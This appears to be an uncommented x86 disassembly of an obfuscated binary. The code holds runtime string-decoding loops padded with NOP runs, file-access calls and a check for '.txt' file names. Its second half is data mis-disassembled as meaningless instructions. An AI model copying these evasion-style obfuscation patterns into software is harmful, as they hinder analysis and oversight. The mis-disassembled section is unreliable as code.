mov dword [ebx + 0xc], 0xad73af80
mov dword [ebx + 0x10], 0xa95bab50
mov dword [ebx + 0x14], 0xb559b756
mov dword [ebx + 0x18], 0xb159b35d
mov dword [ebx + 0x1c], 0xbd4abf54
mov dword [ebx + 0x20], 0xb940bb57
mov dword [ebx + 0x24], 0x45b24753
mov dword [ebx + 0x28], 0x41ac43a8
mov dword [ebx + 0x2c], 0x4f40
mov ecx, 0xecac8ddb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebx + ecx + 0x13537225]
xor edx, ecx
mov esi, edx
and esi, 1
or edx, 1
add edx, esi
add dl, 0xb8
mov byte [ebx + ecx + 0x13537225], dl
inc ecx
cmp ecx, 0xecac8e0b
jne 0x42a890
add eax, 2
mov edx, dword [ebp - 0x14]
movzx ecx, word [edx]
test cx, cx
je 0x42a8e3
add edx, 2
mov esi, dword [ebp - 0x54]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a8d0
jmp 0x42a8e6
mov esi, dword [ebp - 0x54]
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x42a911
mov edx, dword [ebp - 0x84]
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a900
mov word [eax], 0
mov eax, dword [ebp - 0x38]
add eax, 0x12
cmp dword [ebp - 0x24], 0xfffffff7
jge 0x42a927
mov eax, 0xffffffff
push eax
call fcn.00408380
add esp, 4
mov ebx, eax
mov dword [esi], 0x239e215f
mov dword [esi + 4], 0x27902581
mov dword [esi + 8], 0x3b86399d
mov dword [esi + 0xc], 0x3f9c3d98
mov word [esi + 0x10], 0x3130
mov eax, dword [ebp - 0x88]
mov dword [eax], 0
mov byte [eax + 4], 0
mov eax, 0x1c091d08
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x1c091d08]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0xd8
mov byte [esi + eax - 0x1c091d08], cl
inc eax
cmp eax, 0x1c091d1f
jne 0x42a970
mov edx, dword [ebp - 0x14]
movzx ecx, word [edx]
mov eax, ebx
test cx, cx
je 0x42a9c1
add edx, 2
mov eax, ebx
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a9b0
mov word [eax], 0
movzx ecx, word [esi]
test cx, cx
je 0x42a9f3
mov edx, dword [ebp - 0x80]
mov esi, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42a9e0
jmp 0x42a9f6
mov esi, dword [ebp - 0x10]
mov word [eax], 0
mov edx, dword [ebp - 0x9c]
mov dword [edx], 0x9f9e99b6
mov byte [edx + 4], 0
xor eax, eax
nop
nop
nop
mov ecx, eax
add cl, 0xda
xor cl, byte [edx + eax]
add cl, 0xbe
mov byte [edx + eax], cl
inc eax
cmp eax, 5
jne 0x42aa10
push 0
push 0
push 0xc00000
push edx
push esi
push ebx
push dword [ebp + 8]
call fcn.00422fa0
add esp, 0x1c
mov ecx, dword [ebp - 0x48]
and cl, 1
or cl, al
mov dword [ebp - 0x48], ecx
jmp dword [0x447fec]
push ebx
call fcn.00408390
add esp, 4
jmp dword [0x447ff4]
jmp dword [0x447ff4]
push esi
call fcn.00408390
add esp, 4
mov eax, dword [case.0x428e0d.113]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push esi
push 4
push eax
push dword [0x44ce40]
call fcn.0043e410
add esp, 0x10
mov edi, dword [ebp - 0x2c]
jmp dword [0x447fdc]
jmp dword [0x448010]
jmp dword [0x448018]
jmp dword [0x448018]
mov eax, dword [ebp - 0x48]
and al, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push eax
sub esp, 0x3c
mov edi, esp
sub esp, 0x40
mov edx, esp
push eax
mov dword [ebp - 0x10], esp
sub esp, 8
mov esi, esp
mov dword [edx], 0x3373316d
mov dword [edx + 4], 0x2fbe2dbc
mov dword [edx + 8], 0x2b8b2994
mov dword [edx + 0xc], 0x278725a8
mov dword [edx + 0x10], 0x2386217d
mov dword [edx + 0x14], 0x1f891daa
mov dword [edx + 0x18], 0x1b871994
mov dword [edx + 0x1c], 0x17b71584
mov dword [edx + 0x20], 0x1349118c
mov dword [edx + 0x24], 0xfaa0d57
mov dword [edx + 0x28], 0xb97099b
mov dword [edx + 0x2c], 0x7950597
mov dword [edx + 0x30], 0x3950199
mov dword [edx + 0x34], 0x7f287dea
mov dword [edx + 0x38], 0x7bef79f0
mov dword [edx + 0x3c], 0x777675e0
mov ecx, 0xf0ec9d8c
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [edx + ecx + 0xf136274]
mov ebx, eax
and ebx, ecx
add bl, bl
sub al, bl
movzx eax, al
add eax, ecx
add al, 0x44
mov byte [edx + ecx + 0xf136274], al
inc ecx
cmp ecx, 0xf0ec9dcc
jne 0x42ab70
mov eax, edx
mov ebx, edi
mov ecx, 0x10
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, ebx
add edi, 0x40
add edx, 0x40
xor ecx, ecx
xchg esi, edx
rep movsw word es:[edi], word [esi]
xchg esi, edx
push dword [ebp - 0x10]
push 0
push 0
push 0x1f
push ebx
push 0
call dword [0x44ce34]
mov dword [esi], 0x519e9ff9
mov dword [esi + 4], 0
mov eax, 0x2c945d54
mov ecx, 0x5928baa8
nop
nop
mov edx, ecx
and edx, 0x50288a0a
mov edi, eax
xor edi, 0x3815e5a5
add edx, edi
add edx, 0xd36ba2ac
movzx edi, byte [esi + eax - 0x2c945d54]
xor edx, edi
mov edi, edx
and edi, 1
or edx, 1
add edx, 0xc6
xor edx, edi
lea edx, [edx + edi*2]
mov byte [esi + eax - 0x2c945d54], dl
inc eax
add ecx, 2
cmp eax, 0x2c945d5c
jne 0x42abe0
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
sub esp, 0x3c
mov dword [ebp - 0x18], esp
sub esp, 0x40
mov eax, esp
push eax
mov dword [ebp - 0x10], esp
sub esp, 8
mov esi, esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x14], esp
sub esp, 0x10
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x3c], esp
sub esp, 0x20
mov dword [ebp - 0x2c], esp
mov dword [eax], 0x3373316d
mov dword [eax + 4], 0x2fbe2dbc
mov dword [eax + 8], 0x2b8b2994
mov dword [eax + 0xc], 0x278725a8
mov dword [eax + 0x10], 0x2386217d
mov dword [eax + 0x14], 0x1f891daa
mov dword [eax + 0x18], 0x1b871994
mov dword [eax + 0x1c], 0x17b71584
mov dword [eax + 0x20], 0x1349118c
mov dword [eax + 0x24], 0xfaa0d57
mov dword [eax + 0x28], 0xb97099b
mov dword [eax + 0x2c], 0x7950597
mov dword [eax + 0x30], 0x3950199
mov dword [eax + 0x34], 0x7f287dea
mov dword [eax + 0x38], 0x7bef79f0
mov dword [eax + 0x3c], 0x777675e0
mov ecx, 0xf0ec9d8c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [eax + ecx + 0xf136274]
mov edx, ebx
and edx, ecx
add dl, dl
sub bl, dl
movzx edx, bl
add edx, ecx
add dl, 0x44
mov byte [eax + ecx + 0xf136274], dl
inc ecx
cmp ecx, 0xf0ec9dcc
jne 0x42ace0
mov edx, eax
mov ebx, dword [ebp - 0x18]
mov edi, ebx
mov ecx, 0x10
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edi, ebx
add edi, 0x40
add eax, 0x40
xor ecx, ecx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
push dword [ebp - 0x10]
push 0
push 0
push 0x1f
push ebx
push 0
call dword [0x44ce34]
mov dword [esi], 0x519e9ff9
mov dword [esi + 4], 0
mov ecx, 0x2c945d54
mov edx, 0x5928baa8
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
and edi, 0x50288a0a
mov ebx, ecx
xor ebx, 0x3815e5a5
add edi, ebx
add edi, 0xd36ba2ac
movzx ebx, byte [esi + ecx - 0x2c945d54]
xor edi, ebx
mov ebx, edi
and ebx, 1
or edi, 1
add edi, 0xc6
xor edi, ebx
lea ebx, [edi + ebx*2]
mov byte [esi + ecx - 0x2c945d54], bl
inc ecx
add edx, 2
cmp ecx, 0x2c945d5c
jne 0x42ad60
jmp dword [0x448024]
xor ecx, ecx
cmp eax, dword [esi]
setne cl
xor eax, eax
jmp dword [ecx*4 + 0x44802c]
mov eax, dword [ebp - 0x10]
mov edi, dword [eax]
test edi, edi
jns 0x42adce
mov eax, 0xffffffff
jmp 0x42add1
lea eax, [edi + edi]
mov ebx, dword [ebp - 0x30]
push eax
call fcn.00408380
add esp, 4
mov esi, eax
push dword [ebp - 0x10]
push edi
push eax
push 0x1f
push dword [ebp - 0x18]
push 0
call dword [0x44ce34]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x448034]
xor eax, eax
jmp dword [0x44803c]
jmp dword [0x448044]
push esi
call fcn.00408390
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408390
add esp, 4
xor eax, eax
jmp dword [0x448050]
push 0x60
push 3
push 0x120089
push ebx
mov dword [ebp - 0x54], esi
push esi
call fcn.00440af0
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x448054]
jmp dword [0x44818c]
mov ecx, dword [case.0x428e0d.132]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, dword [ebp - 0x14]
jmp dword [0x44805c]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], 0x4a424042
mov dword [ecx + 4], 0x4e475446
mov word [ecx + 8], 0xf75
mov byte [ecx + 0xa], 0x4e
mov dword [ecx + 0xb], 0
mov eax, 0xc9
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ecx]
mov esi, edx
not esi
mov ebx, esi
and ebx, 0xc3
or esi, 0x3c
add esi, edx
inc esi
or esi, ebx
mov ebx, eax
and ebx, 0xc3
lea edx, [eax - 0xc0]
and edx, 0x3c
or edx, ebx
xor edx, esi
xor dl, 0x3c
add dl, 0xf2
mov byte [ecx], dl
inc ecx
dec eax
cmp eax, 0xba
jne 0x42aed0
mov eax, dword [ebp - 0x34]
movzx ecx, byte [eax]
test cl, cl
je 0x42af40
mov esi, edi
mov ebx, dword [ebp - 0x30]
jmp 0x42af2d
inc esi
mov edi, esi
mov eax, dword [ebp - 0x34]
movzx ecx, byte [eax]
test cl, cl
je 0x42af52
movzx edx, byte [edi]
test dl, dl
je 0x42af50
cmp dl, cl
jne 0x42af20
inc edi
inc eax
jmp 0x42af26
mov esi, edi
mov ebx, dword [ebp - 0x30]
jmp 0x42af52
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44807c]
lea edi, [esi + 0xa]
movzx eax, byte [edi]
xor edx, edx
test al, al
mov ebx, dword [ebp - 0x10]
je 0x42af92
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x22
je 0x42af90
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42af80
jmp 0x42af92
mov edx, ecx
mov ecx, edx
sub ecx, edi
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x448084]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x44809c]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x4480b4]
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
jmp dword [eax*4 + 0x4480bc]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x4480c4]
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x18], edx
mov eax, ecx
inc eax
mov dword [ebp - 0x28], ecx
lea esi, [ecx + ecx + 2]
jns 0x42affc
mov esi, 0xffffffff
mov dword [ebp - 0x14], eax
jmp dword [0x4480d0]
push esi
call fcn.00408380
add esp, 4
mov ebx, eax
push dword [ebp - 0x18]
push edi
push dword [ebp - 0x14]
push eax
call fcn.0040aaf0
add esp, 0x10
push 0x60
push 3
push 0x120089
push dword [ebp - 0x24]
push ebx
call fcn.00440af0
add esp, 0x14
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408380
add esp, 4
mov ebx, eax
push dword [ebp - 0x18]
push edi
push dword [ebp - 0x14]
push eax
call fcn.0040aaf0
add esp, 0x10
push 0x60
push 3
push 0x120089
push dword [ebp - 0x24]
push ebx
call fcn.00440af0
add esp, 0x14
jmp dword [0x4480d4]
mov dword [ebp - 0x14], ebx
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4480dc]
mov eax, dword [ebp - 0x18]
mov edi, eax
mov ebx, dword [ebp - 0x10]
jmp dword [0x44813c]
mov eax, dword [0x44814c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
push 0
mov ebx, dword [ebp - 0x3c]
push ebx
mov eax, dword [ebp - 0x24]
push dword [eax]
call fcn.00440e60
add esp, 0xc
test eax, eax
setns al
mov esi, dword [ebx]
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4480e4]
jmp dword [0x4480f0]
push esi
call fcn.00408380
add esp, 4
push 0
push esi
push eax
mov eax, dword [ebp - 0x24]
push dword [eax]
call fcn.00440f30
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.00408380
add esp, 4
mov ebx, eax
push 0
mov eax, dword [ebp - 0x3c]
push dword [eax]
push ebx
mov eax, dword [ebp - 0x24]
push dword [eax]
call fcn.00440f30
add esp, 0x10
jmp dword [0x4480f4]
mov dword [ebp - 0x44], ebx
not eax
shr eax, 0x1f
xor edx, edx
mov ecx, dword [ebp - 0x14]
jmp dword [eax*4 + 0x4480fc]
add ecx, 2
test bx, bx
je 0x42b169
mov eax, edx
movzx ebx, word [ecx]
mov edx, ecx
cmp bx, 0x5c
je 0x42b150
mov edx, eax
jmp 0x42b150
mov ecx, dword [ebp - 0x14]
xor edx, edx
jmp dword [0x44810c]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x448114]
jmp dword [0x448124]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x20], 0x14151a1b
lea ecx, [ebp - 0x1c]
mov byte [ecx + 2], 0
mov word [ecx], 0
mov ecx, 0xd4276d46
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx + 0x2bd8929a]
xor edx, ecx
mov esi, edx
and esi, 0x21
xor edx, 0xa1
lea edx, [edx + esi*2]
inc dl
mov byte [ebp + ecx + 0x2bd8929a], dl
inc ecx
cmp ecx, 0xd4276d4d
jne 0x42b340
mov ecx, dword [0x44ce38]
test ecx, ecx
mov ebx, dword [ebp - 0x10]
je 0x42b39a
mov edx, dword [ebp - 0x20]
xor esi, esi
mov edi, dword [0x44ce3c]
cmp dword [edi + esi*8], 0x1b6183f2
je 0x42b392
inc esi
cmp ecx, esi
jne 0x42b382
jmp 0x42b39a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42b3a5
mov eax, dword [ebp - 0x18]
mov edi, eax
jmp dword [0x44813c]
push eax
push 4
push ecx
push dword [0x44ce40]
call fcn.0043e410
add esp, 0x10
mov eax, dword [ebp - 0x18]
mov edi, eax
jmp dword [0x44813c]
jmp dword [0x44815c]
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x44806c]
mov esi, dword [edi]
lea eax, [esi + 1]
push eax
call fcn.00408380
add esp, 4
push 0
push esi
mov dword [ebp - 0x48], eax
push eax
push dword [ebx]
call fcn.00440f30
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x10], 0
jmp dword [eax*4 + 0x448074]
mov esi, dword [ebp - 0x48]
jmp dword [0x448164]
jmp dword [0x44817c]
mov eax, dword [edi]
mov edi, dword [ebp - 0x48]
mov byte [edi + eax], 0
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x10], 0
jmp 0x42aea0
push 0
push edi
push dword [ebx]
call fcn.00440e60
add esp, 0xc
push 0
push edi
push dword [ebx]
call fcn.00440e60
add esp, 0xc
jmp dword [0x448064]
mov es, word [edx]
xchg ecx, eax
inc edx
add byte [eax], dl
nop
inc edx
add byte [edx], dh
nop
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax], dl
nop
inc edx
add byte [ebx], bl
nop
inc edx
add byte [esi], ch
xchg ecx, eax
inc edx
add byte [eax], dh
nop
inc edx
add byte [eax], dh
nop
inc edx
add byte [esi], ch
xchg ecx, eax
inc edx
add byte [eax], dh
nop
inc edx
add byte [esi - 0x70], ch
inc edx
add byte [edx - 0x6f], dh
inc edx
add ah, dl
xchg esp, eax
inc edx
add byte [edx - 0x41ffbd6f], ah
xchg esp, eax
inc edx
add bl, ah
xchg ecx, eax
inc edx
add bl, dh
xchg edx, eax
inc edx
add byte [edi - 0x6e], al
inc edx
add bl, dh
xchg edx, eax
inc edx
add byte [ebp + edx*4 - 0x6d0cffbe], ah
inc edx
add dh, dl
xchg ebp, eax
inc edx
add dh, dl
xchg ebp, eax
inc edx
add dh, dl
xchg ebp, eax
inc edx
add dh, ah
xchg ebp, eax
inc edx
add dh, dl
xchg ebp, eax
inc edx
add bh, bh
xchg ebp, eax
inc edx
add byte [ebx], dl
xchg esi, eax
inc edx
add byte [ebx], dh
xchg edi, eax
inc edx
add byte [edi - 0x6a], dh
inc edx
add byte [eax - 0x6a], ah
inc edx
add bh, cl
xchg esi, eax
inc edx
add byte [edi - 0x6cffbd69], bh
xchg edi, eax
inc edx
add byte [ebx + 0x70004297], dh
xchg edi, eax
inc edx
add byte [edi - 0x7fffbd69], bh
xchg edi, eax
inc edx
add cl, dl
xchg edi, eax
inc edx
add dh, ah
xchg edi, eax
inc edx
add byte [edx - 0x77ffbd68], al
cwde
inc edx
add byte [ecx - 0x67], dl
inc edx
add bh, bh
xchg ebp, eax
inc edx
add cl, bh
xchg edx, eax
inc edx
add byte [esi - 0x37ffbd6c], bh
xchg esp, eax
inc edx
add ah, dl
xchg esp, eax
inc edx
add byte [eax - 0x70], bh
inc edx
add byte [edx - 0x6b], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x6b], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x6b], bh
inc edx
add byte [ebp + 0x1a004290], dl
xchg ecx, eax
inc edx
add byte [edi], ah
xchg ecx, eax
inc edx
add al, dh
wait
inc edx
add byte [edx], dl
wait
inc edx
add al, dh
wait
inc edx
add byte [edx], bh
popfd
inc edx
add byte [edx - 0x63], cl
inc edx
add byte [ebx - 0x79ffbd56], bh
popfd
inc edx
add dl, al
popfd
inc edx
add byte [ebp + ebx*4 - 0x6250ffbe], cl
inc edx
add byte [eax - 0x6dffbd63], ah
popfd
inc edx
add byte [eax - 0x50ffbd63], ah
popfd
inc edx
add al, al
popfd
inc edx
add al, al
popfd
inc edx
add al, al
popfd
inc edx
add byte [ebx - 0x49ffbd56], bh
lahf
inc edx
add al, ch
lahf
inc edx
add byte [edi + ebx*4 - 0x5562ffbe], bh
inc edx
add cl, cl
mov eax, dword [0xa1f00042]
inc edx
add byte [edx], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dl
mov byte [0xa2640042], al
inc edx
add byte [edx - 0x5e], al
inc edx
add byte [edx + 0x42], ah
add byte [edx - 0x5e], ch
inc edx
add byte [ebx - 0x59ffbd5c], bl
movsb byte es:[edi], byte [esi]
inc edx
add byte [edi - 0x58ffbd5c], ch
movsd dword es:[edi], dword [esi]
inc edx
add byte [edi - 0x53ffbd5c], ch
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [esi - 0x5940ffbe], dh
inc edx
add al, ah
cmpsb byte [esi], byte es:[edi]
inc edx
add bl, ch
cmpsb byte [esi], byte es:[edi]
inc edx
add ah, bh
cmpsb byte [esi], byte es:[edi]
inc edx
add byte [edi], bl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edx], al
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edi], bl
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edx], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [eax], dh
cmpsd dword [esi], dword es:[edi]
inc edx
add cl, dl
mov eax, dword [0xa7b90042]
inc edx
add al, dl
lahf
inc edx
add dh, al
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edx + ebp*4 + 0x42], cl
add byte [eax - 0x56], ah
inc edx
add byte [esi - 0x56], ah
inc edx
add byte [edi - 0x56], ch
inc edx
add byte [eax - 0x7fffbd56], al
stosb byte es:[edi], al
inc edx
add al, dl
lahf
inc edx
add byte [eax - 0x4fffbd56], al
stosb byte es:[edi], al
inc edx
add byte [ebx - 0x4fffbd56], ah
stosb byte es:[edi], al
inc edx
add byte [esi + 0x300042aa], dh
lodsb al, byte [esi]
inc edx
add bh, bl
stosb byte es:[edi], al
inc edx
add byte [esi + 0x300042ad], ch
lodsb al, byte [esi]
inc edx
add byte [esi - 0x7dffbd53], bh
scasb al, byte es:[edi]
inc edx
add ch, bh
lodsd eax, dword [esi]
inc edx
add byte [ecx], dh
scasb al, byte es:[edi]
inc edx
add byte [0x700042ae], al
scasb al, byte es:[edi]
inc edx
add byte [eax], ah
scasb al, byte es:[edi]
inc edx
add byte [ebx], cl
scasb al, byte es:[edi]
inc edx
add byte [eax], ah
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x52], dh
inc edx
add byte [edx - 0x52], bl
inc edx
add byte [edx - 0x72ffbd52], cl
mov ch, 0x42
add byte [eax - 0x11ffbd4b], al
mov bl, 0x42
add byte [eax + 0x420042b5], al
mov ah, 0x42
add byte [ecx], al
mov ah, 0x42
add byte [ebx], dh
mov ah, 0x42
add byte [eax + 0x600042b4], dh
scasd eax, dword es:[edi]
inc edx
add al, dl
mov bl, 0x42
add byte [ebp - 0x5fffbd51], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax + 0x10042b0], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax + 0x10042b0], ah
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp + 0x10042af], ah
add byte [eax], al
add byte [ebp - 0x5fffbd51], dh
mov al, 0x42
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebp - 0x3affbd51], dh
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x2affbd50], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax - 0x1affbd50], ah
scasd eax, dword es:[edi]
inc edx
add byte [eax + 0x50042b0], ah
mov al, 0x42
add byte [eax - 0x50], al
inc edx
add byte [esi - 0x50], dh
inc edx
add byte [eax - 0x50], al
inc edx
add byte [ebp - 0x45ffbd50], al
mov al, 0x42
add byte [esi], dl
mov bl, 0x42
add cl, ch
mov al, 0x42
add bh, ch
mov al, 0x42
add byte [eax], dl
mov cl, 0x42
add byte [esi], dh
mov cl, 0x42
add byte [eax], dl
mov cl, 0x42
add ch, bh
mov dl, 0x42
add byte [eax - 0x4f], bl
inc edx
add byte [eax - 0x4f], bl
inc edx
add byte [eax - 0x4f], bl
inc edx
add byte [ecx + esi*4 + 0x42], dh
add byte [eax - 0x4f], bl
inc edx
add byte [edx - 0x77ffbd4f], al
mov cl, 0x42
add dh, ch
mov dl, 0x42
add ch, bh
mov dl, 0x42
add byte [ebx], al
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [esi], dl
mov bl, 0x42
add byte [eax], dl
mov bl, 0x42
add byte [ebx - 0x5fffbd50], dl
mov al, 0x42
add byte [eax - 0x4fffbd50], dh
mov al, 0x42
add byte [edx - 0x4fffbd50], dh
mov al, 0x42
add al, dl
mov bl, 0x42
add al, dl
mov bl, 0x42
add byte [ebx], dh
mov ah, 0x42
add al, dl
mov bl, 0x42
add byte [esp + esi*4], bh
inc edx
add byte [edx - 0x4c], al
inc edx
add dh, dl
mov bl, 0x42
add bh, bl
mov bl, 0x42
add dh, dl
mov bl, 0x42
add byte [edx - 0x4c], al
inc edx
add dh, dh
mov ah, 0x42
add byte [eax - 0x4c], cl
inc edx
add dh, dh
mov ah, 0x42
add byte [edx - 0x52], bl
inc edx
add byte [eax - 0x52], ah
inc edx
add byte [ebx - 0x52], ch
scasb al, byte es:[edi]
inc edx
add byte [eax - 0x7fffbd52], al
scasb al, byte es:[edi]
inc edx
add byte [edx - 0x7fffbd52], al
scasb al, byte es:[edi]
inc edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x1200be66], bl
mov esi, 0xbe669900
add byte [eax + 0x69], dh
mov esi, 0xbe737d00
add ah, dl
mov byte [esi - 0x418c5400], bh
add byte [edi], bl
mov dword [esi - 0x418c9800], edi
jae 0x448191
add byte [ecx - 0x3cff416c], al
xchg edx, eax
mov esi, 0xbe92fc00
add bh, ah
xchg esp, eax
mov esi, 0xbe92c300
add ah, bh
xchg edx, eax
mov esi, 0xbe92e700
add byte [ebx - 0x4cff416f], bh
xchg edx, eax
mov esi, 0xbe91bb00
add byte [ebx - 0x4cff4198], dh
push 0x6a6300be
mov esi, 0xbe68e800
add bh, ch
push 0x68b300be
mov esi, 0xbe6a6300
push 0xffffffffffffffbe
add al, ch
push 0x6aef00be
mov esi, 0xbe6dc900
add bl, dl
outsb dx, byte [esi]
mov esi, 0xbe6fd400
add ah, dl
outsd dx, dword [esi]
mov esi, 0xbe777400
push 0xffffffffffffffbe
add cl, cl
insd dword es:[edi], dx
mov esi, 0xbe6ed300
add ah, dl
outsd dx, dword [esi]
mov esi, 0xbe6fd400
add byte [edi + esi*2 - 0x42], dh
add byte [ebx], ah
jge 0x4481d1
add byte [ebx + 0x7e], al
mov esi, 0xbe7e4300
add byte [ebx + 0x4300be7e], dl
jg 0x4481e1
jle 0x4481d5
add byte [ebx + 0x7e], al
mov esi, 0xbe7e9300
add byte [ebx + 0x7f], al
mov esi, 0xbe806900
add bl, dl
jg 0x4481e9
add byte [ecx - 0x80], ch
mov esi, 0xbe7fd300
add byte [esi + 0x5800be7e], bh
jg 0x4481f1
add ch, bl
jle 0x4481f5
add bl, dl
jg 0x4481f9
add byte [ebx], ah
jle 0x4481fd
add bl, cl
cmp byte [esi - 0x417f1f00], 0
cmp byte [esi - 0x417eed00], 0
adc eax, 0x5100be81
jge 0x448215
add byte [0x600be81], dl
xchg esi, eax
mov esi, 0xbe84d300
add dh, ch
test byte [esi - 0x417b1200], bh
add byte [ebx], ah
test dword [esi - 0x417ab100], edi
add byte [ebx - 0x4cff417a], dh
xchg byte [esi - 0x41793800], bh
add byte [ebp + 0xc00be86], ah
xchg dword [esi - 0x41789d00], edi
add byte [edx - 0x79], bh
mov esi, 0xbe87ce00
add al, bh
xchg dword [esi - 0x4177b400], edi
add byte [edx - 0x78], bh
mov esi, 0xbe886b00
add byte [edi + 0x2c00be89], bh
mov byte [esi - 0x41764100], bh
add byte [eax - 0x79], al
mov esi, 0xbe89bf00
add ch, ah
invalid